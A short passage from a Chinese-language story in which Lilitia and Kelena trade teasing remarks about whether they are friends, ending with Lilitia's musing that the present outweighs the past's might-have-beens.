“没有啊,我很喜欢克蕾娜。”利利提亚转过目光看她,“善良、诚实、温柔,和我完全相反。 “跟你聊天很轻松,我有时候都觉得有点遗憾,如果我在罗穆卢斯的时候就认识了你,会不会早一点和你成为朋友呢?” 克蕾娜哼一声:“想多了,要不是因为在阿瓦托芬遇到,谁要和你当朋友。” 利利提亚微笑:“你承认我们是朋友了。” 克蕾娜宕机了三秒来重启语言模块,恼火地导出万用结论:“滚出去。” 利利提亚从令如流,在离开前笑着道:“开玩笑的。我不喜欢假设过去的如果,已经发生的事,存在再多可能性都没有意义。 “我们现在所拥有的就是无数唯一叠加在一起的仅有结果,这不是比任何可能性都更接近命运吗?”